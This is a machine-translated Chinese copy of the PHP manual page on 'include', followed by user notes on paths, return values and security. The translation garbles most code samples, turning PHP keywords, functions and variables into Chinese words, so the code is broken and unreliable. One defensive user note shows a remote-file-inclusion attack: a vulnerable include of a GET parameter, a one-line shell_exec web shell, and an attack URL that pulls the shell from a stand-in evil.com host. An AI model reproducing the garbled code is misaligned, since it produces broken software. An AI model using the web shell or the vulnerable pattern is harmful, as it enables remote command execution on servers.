2024年波兰PHPC

包括

(PHP 4、PHP 5、PHP 7、PHP 8)

这个包括表达式包含并计算指定的文件。

以下文档也适用于要求.

根据给定的文件路径包含文件,如果未给定路径,则根据包含路径(_P)明确规定。如果文件在中找不到包含路径(_P),包括将最终签入调用脚本自己的目录和当前工作目录。这个包括构造将发出警告(_W)如果它找不到文件;这与要求,它将发出E_ERROR(错误).

请注意,这两者包括要求增加额外费用警告(_W)s、 如果文件不能已访问,在引发决赛之前警告(_W)E_ERROR(错误)分别是。

如果定义了路径-是否绝对(以驱动器号开头\在Windows上,或/在Unix/Linux上系统)或相对于当前目录(以开头...)-该包含路径(_P)将被忽略总共。例如,如果文件名以开头../,解析器将在父目录中查找请求的文件。

有关PHP如何处理包含文件和包含路径的更多信息,请参阅文档包含路径(_P).

包含文件时,它包含的代码将继承可变范围发生include的行。该行中可用的任何变量在调用文件中,将在被调用文件中可用指向前方。但是,包含文件中定义的所有函数和类都具有全球范围。

示例#1基本包括例子

变量.php
<?php(电话)

$颜色
=“绿色”
$水果=“苹果”

?>

测试.php
<?php(电话)

回声“A$颜色 $水果"//A类

包括'vars.php'

回声
“A$颜色 $水果"//一个绿色的苹果

?>

如果include发生在调用文件中的函数内,那么被调用文件中包含的所有代码都将表现为虽然它是在函数中定义的。所以,它会随之而来该函数的变量范围。此规则的一个例外是魔法常数哪些是在include发生之前由解析器计算。

示例#2包括在函数内

<?php(电话)

功能foo公司()
{
全球的
$颜色

包括
'变量.php'

回声
“A$颜色 $水果"
}

/*vars.php在foo()范围内,因此*
*$fruit在此之外不可用*
*范围$颜色是因为我们声明了它*
*全球范围内*/

foo公司();//一个绿色的苹果
回声“A$颜色 $水果"//A绿色

?>

当包含文件时,解析将退出PHP模式在目标文件的开头进入HTML模式,然后继续最后又一次。因此,目标中的任何代码应该作为PHP代码执行的文件必须包含在有效的PHP启动和结束标记.

如果“URL包含包装"在PHP中启用,您可以使用URL(通过HTTP或其他支持的包装器-请参阅支持的协议和包装用于列表协议)而不是本地路径名。如果目标服务器解释目标文件作为PHP代码,变量可以传递给使用与HTTP GET一起使用的URL请求字符串的文件。这是严格来说,与包含文件和它继承父文件的变量范围;脚本实际上是在远程服务器上运行,结果是包含在本地脚本中。

示例#3包括通过HTTP

<?php(电话)

/*本例假设www.example.com配置为parse.php
*文件而不是.txt文件。此外,这里的“Works”意味着变量
*$foo和$bar在包含的文件中可用*/

//行不通;www.example.com未将file.txt作为PHP处理
包括'http://www.example.com/file.txt?foo=1&bar=2'

//行不通;查找名为“file.php”的文件?foo=1&bar=2'
//本地文件系统。
包括'文件.php?foo=1&bar=2'

//工程。
包括'http://www.example.com/file.php?foo=1&bar=2'
?>

警告

安全警告

远程文件可以在远程服务器上处理(取决于文件扩展和远程服务器是否运行PHP的事实),但它仍然必须生成有效的PHP脚本,因为它将在本地服务器。如果应处理来自远程服务器的文件仅在那里输出,读取文件()好多了要使用的函数。否则,应特别注意保护远程脚本生成有效的所需代码。

另请参见远程文件,fopen()文件()用于相关信息。

处理退货:包括收益错误的并发出警告。成功包含,除非被包含的文件覆盖,否则返回1。可以执行返回语句,以终止中的处理并返回到调用它的脚本。此外,也可以以返回包含文件中的值。您可以获取像正常函数那样包含调用。然而,这并不是,在包含远程文件时可能,除非远程文件的输出文件具有有效的PHP启动和结束标记(与任何本地文件一样)。您可以声明这些标记中需要的变量,它们将在无论文件包含在哪一点。

因为包括是一种特殊的语言结构,它的参数不需要括号。比较时要小心返回值。

示例#4比较include的返回值

<?php(电话)
//不起作用,评估为include(('vars.php')==TRUE),即include-('1')
if(包括('变量.php') ==真的) {
回声
“确定”
}

//工程
如果(包括'变量.php') ==真的) {
回声
“确定”
}
?>

示例#5包括返回陈述

返回.php
<?php(电话)

$变量
=“PHP”

返回
$变量

?>

noreturn.php型
<?php(电话)

$变量
=“PHP”

?>

测试返回s.php
<?php(电话)

$foo美元
=包括'返回.php'

回声
$foo美元//打印“PHP”

$巴=包括'noreturn.php'

回声
$巴//打印1

?>

$巴是值1因为包括成功了。请注意上述示例之间的差异。第一次使用返回包含在包含的文件中,而另一个不包含。如果不能包括该文件,返回,并且警告(_W)已发布。

如果包含的文件中定义了函数,则可以在独立于主文件(如果之前返回或之后。如果文件被包含两次,PHP将引发致命错误,因为函数已声明。建议使用包含一次(_O)而不是检查文件是否已包含并有条件地返回包含的文件。

将PHP文件“包括”到变量中的另一种方法是捕获通过使用输出控制功能具有包括例如:

示例#6使用输出缓冲将PHP文件包含到字符串中

<?php(电话)
$string($string)
=获取包含内容(“somefile.php”);

功能
获取包含内容($文件名) {
如果(
是文件(_F)($文件名)) {
对象启动(_S)();
包括
$文件名
返回
对象获取清理();
}
返回

}

?>

为了在脚本中自动包含文件,请参见自动重复文件自动添加文件中的配置选项php.ini公司.

注释:因为这是一个语言构造而不是函数,不能使用可变函数,命名参数.

另请参见要求,需要一次,包含一次(_O),获取包含的文件(),读取文件(),虚拟()、和包含路径(_P).

添加备注

用户贡献的笔记13条注释

gmaildot.com上的snowyurik
15年前
这可能有用:
<?php(电话)
包括$_服务器['DOCUMENT_ROOT'].“/lib/sample.lib.php”
?>
因此,您可以将脚本移动到web项目树中的任何位置,而无需更改。
皮疹
9年前
如果您想要包含文件,但不想从客户端直接访问这些文件,请不要这样做,因为您热爱键盘:

<?php(电话)

#索引.php
定义(“什么”,“永远”);
包括
'包含文件.php'

#包括文件.php

//检查是否定义了什么,如果没有定义则终止

?>

你不应该这样做的原因是有更好的选择。将includeFile移出项目的文档根目录。因此,如果项目的文档根位于“/usr/share/nginx/html”,请将包含文件保存在“/usr/share/nginx/src”中。

<?php(电话)

#index.php(在文档根目录(/usr/share/nginx/html)中)

包括__总监__.'/../src/includeFile.php'

?>

由于用户无法键入'your.site//src/includeFile.php',用户将无法直接访问您的include文件。
约翰·卡蒂
7年前
在使用php的include、require、include_once或require_once语句之前,您应该了解更多有关本地文件包含(也称为LFI)和远程文件包含(也称为RFI)的信息。

正如示例#3所指出的,可以包含来自远程服务器的php文件。

在include语句中使用输入变量而没有进行正确的输入验证时,会出现LFI和RFI漏洞。假设您有一个带代码的example.php:

<?php(电话)
//错误的代码
$path(路径)=$_GET(获取)[“路径”];
包括
$路径.'示例配置文件.php'
?>

作为程序员,您可能希望用户浏览到您指定的路径。

然而,它打开了一个RFI漏洞。为了将其作为攻击者进行攻击,我首先会在我的evil.com域上设置一个带有php代码的恶意文本文件。

eviv.txt文件
<?php(电话)回声外壳执行(_E)($_GET(获取)['命令']);?>

它是一个文本文件,因此不会在我的服务器上处理,而是在目标/受害者服务器上处理。我会浏览到:
h t t p://w w w.example.com/example.php?command=whoami&path=h t p://w w w w.evily.com/evily.txt%00

example.php将下载我的evil.txt并处理我作为命令变量传入的操作系统命令。在这种情况下,是哇。我用%00结束了路径变量,它是空字符。example.php中的原始include语句将忽略该行的其余部分。它应该告诉我web服务器是以谁的身份运行的。

如果在include语句中使用变量,请使用正确的输入验证。
阿农
12年前
我再怎么强调也不过分,我知道活动工作目录。查找方式:echo getcwd();
记住,如果文件A包含文件B,而B包含文件C;B中的包含路径应考虑到A而不是B是活动工作目录。
gmail dot com上的错误17191
8年前
当使用文件名直接包含文件而不指定时,我们指的是当前工作目录,即使用(包含“文件”)而不是(包含“./file”)。PHP将首先在当前工作目录中搜索(由getcwd()给定),然后在正在执行的脚本的目录中搜索它(由__dir__给定)。
这是一个示例来演示这种情况:
我们有两种目录结构:
-目录1
----脚本.php
----测试
----目录_测试
-目录2
----测试
----目录2测试

dir1/test包含以下文本:
这是dir1中的测试
dir2/test包含以下文本:
这是dir2中的测试
dir1_test包含以下文本:
这是dir1_test
dir2_test包含以下文本:
这是dir2_test

script.php包含以下代码:
<?php(电话)

回声'当前调用脚本的目录:'.__总监__
回声
“<br/>”
回声
'当前工作目录:'.获取cwd();
回声
“<br/>”
回声
'包括“测试”…'
回声
“<br/>”
包括
“测试”
回声
“<br/>”
回声
'正在将当前工作目录更改为dir2'
chdir公司('../目录2');
回声
“<br/>”
回声
'当前调用脚本的目录:'.__总监__
回声
“<br/>”
回声
'当前工作目录:'.获取cwd();
回声
“<br/>”
回声
'包括“测试”…'
回声
“<br/>”
包括
“测试”
回声
“<br/>”
回声
'包括“dir2_test”…'
回声
“<br/>”
包括
'目录测试'
回声
“<br/>”
回声
'包括“dir1_test”…'
回声
“<br/>”
包括
'目录_测试'
回声
“<br/>”
回声
'包括“./dir1_test”…'
回声
“<br/>”
(@包含
'./目录_测试')否则就会死('无法包含此文件');
?>
执行script.php的输出是:

当前调用脚本的目录:C:\dev\www\php_terials\working_Directory\example2\dir1
当前工作目录:C:\dev\www\php_terials\working_directory\example2\dir1
包括“测试”。。。
这是dir1中的测试
将当前工作目录更改为dir2
当前调用脚本的目录:C:\dev\www\php_terials\working_Directory\example2\dir1
当前工作目录:C:\dev\www\php_experiments\working_directory\example2\dir2
包括“测试”。。。
这是dir2中的测试
包括“dir2_test”。。。
这是dir2_test
包括“dir1_test”。。。
这是dir1_test
包括“./dir1_test”。。。
无法包含此文件
jbezorg在gmail dot com
6年前
理想情况下,include应该放在web根目录之外。这通常是不可能的,尤其是在分发打包的应用程序时,如果您不知道应用程序将在哪个服务器环境中运行。在这些情况下,我使用以下内容作为第一行。

(__FILE__!=$_SERVER['SCRIPT_FILENAME'])或退出('否');
韦德。
15年前
如果您正在进行大量的动态/计算包含(例如,>100),那么您可能很想知道这个性能比较:如果目标文件不存在,那么@include()比以file_exists()为前缀慢十倍。(如果文件只是偶尔存在,这一点很重要,例如,开发环境有文件,而生产环境没有文件。)

韦德。
克里斯·贝尔
14年前
关于懒惰HTTP的警告包括:它们可能会破坏服务器。

如果您要从自己的站点中包含文件,请不要使用URL,无论它多么容易或诱人。如果您的所有PHP进程都与发出请求的页面绑定,则没有可用的进程来提供包含服务。最初的请求将占用您的所有资源,并最终超时。

尽可能使用文件引用。在我追踪问题之前,这给我们带来了相当大的悲伤(Zend/IIS)。
雷。Paseur经常使用Gmail
9年前
值得注意的是,PHP提供了一个支持OS的常量,名为DIRECTORY_SEPARATOR。如果在目录路径中使用斜杠而不是斜杠,那么无论使用*NIX还是(颤抖)Windows,脚本都是正确的。(以半相关的方式,有一个智能终端字符PHP_EOL)

例子:
<?php(电话)
$cfg_path
=“包含”
.目录分隔符
.'配置.php'

要求一次(_O)(
$cfg_path);
里克·加西亚
16年前
根据经验,永远不要使用相对路径包含文件。要有效地实现这一点,可以按如下方式定义常量:

----
<?php(电话)//prepend.php-在树的顶部自动重复
定义(“主人”,目录名(__文件__) .'/');
定义(“DL_DIR”,MAINDIR公司.'下载/');
定义(“LIB_DIR”,MAINDIR公司.“库/”);
?>
----

这样,框架中的文件只需发出如下语句:

<?php(电话)
要求一次(_O)(LIB_DIR(伦敦银行同业拆借利率).“excel_functions.php”);
?>

这也使您无需在每次执行包含操作时检查包含路径。

如果您从主web目录下运行脚本,请在每个子目录中放置一个prepend.php文件:

--
<?php(电话)
包括(目录名(目录名(__文件__)) .'/prepend.php');
?>
--

这样,顶部的prepend.php始终会被执行,并且您不会遇到路径处理方面的麻烦。只需记住在.htaccess文件上为每个有web可访问脚本的子目录设置auto_prepend_file指令。
gmail dot com上的hyponiq
14年前
我想指出IIS/Windows和Apache/Unix在指定包含文件的路径时的行为差异(不确定是否存在其他差异,但我认为Windows下的任何服务器都将与IIS/Windows相同,Unix下的所有服务器的行为都将与Apache/Unix相同)。

考虑以下内容:
<?php(电话)
包括“/Path/To/File.php”
?>

在IIS/Windows中,文件是在虚拟主机的根目录下查找的(我们称为C:\Server\Sites\MySite),因为路径以正斜杠开头。这种行为在所有平台下的HTML中都有效,因为浏览器将/解释为服务器的根。

然而,Unix文件/文件夹结构略有不同。/表示硬盘驱动器或当前硬盘驱动器分区的根目录。换言之,它基本上会查找root:/Path/To/File.php,而不是serverRoot:/Path-To/File_php(我们将其称为/usr/var/www/htdocs)。因此,将引发错误/警告,因为根路径中不存在该路径。

我只是想提一下。对于那些在Windows下工作并将其应用程序传输到基于Unix的服务器的用户来说,这无疑会节省一些麻烦。

变通方案如下:
<?php(电话)
$documentRoot
=无效的

如果(isset(
$_服务器['文档根'])) {
$documentRoot=$_服务器['DOCUMENT_ROOT'];

如果(
字符串查找($documentRoot,'/') ||字符串查找($documentRoot,'\\')) {
如果(
字符串查找($documentRoot,'/')) {
$documentRoot=str_替换('/',董事_合伙人,$documentRoot);
}
埃尔塞夫(
字符串查找($documentRoot,'\\')) {
$documentRoot=str_替换('\\',董事_合伙人,$documentRoot($document根));
}
}

如果(
预匹配(_M)('/[^\\/]{1}\\[^\\/]{1}/',$documentRoot)) {
$documentRoot=preg_替换('/([^\\/]{1})\\([^\\/]{1})/','\\1DIR_SEP\\2',$documentRoot($document根));
$documentRoot=str_替换(“DIR_SEP”,'\\\\',$documentRoot);
}
}
其他{
/**
*我通常将此文件存储在我的根目录下的Includes文件夹中
*虚拟主机。可以将其更改为存储此文件的任何位置。
*
*示例:
*如果将此文件存储在Application/Settings/DocRoot文件夹中
*根据您的站点,您可以更改此数组以包括以下各项
*文件夹。
*
*<代码>
*$directories=数组(
*“应用程序”,
*“设置”,
*'文档根'
* );
*</code>
*/
$个目录=数组(
'包括'
);

如果(
定义('__DIR__')) {
$currentDirectory($current目录)=__总监__
}
其他{
$currentDirectory($current目录)=目录名(__文件__);
}

$currentDirectory($current目录)=rtrim公司($currentDirectory($current目录),董事_合伙人);
$current目录=$currentDirectory($current目录).董事_合伙人

foreach公司(
$个目录作为$目录) {
$currentDirectory($current目录)=str_位置(
董事_合伙人.$目录.董事_合伙人,
董事_合伙人,
$currentDirectory($current目录)
);
}

$currentDirectory($current目录)=rtrim公司($currentDirectory($current目录),董事_合伙人);
}

定义('服务器_DOC_ROOT',$documentRoot);
?>

使用此文件,可以使用定义的SERVER_DOC_ROOT常量包含文件,这样包含的每个文件都将从正确的位置包含,并且不会抛出错误/警告。

例子:
<?php(电话)
包括服务器_DOC_ROOT.“/Path/To/File.php”
?>
ayon在hyurl dot com
7年前
它还可以包含或打开zip文件中的文件:
<?php(电话)
包括“something.zip#script.php”
回声
文件获取内容(“something.zip#script.php”);
?>
请注意,不是使用/或\,而是使用#从zip文件中打开文件来分隔zip名称和内部文件的名称。
阿诺普瑟
1年前
在示例#2 Including within functions中,我认为最后两条注释应该颠倒过来。
到顶部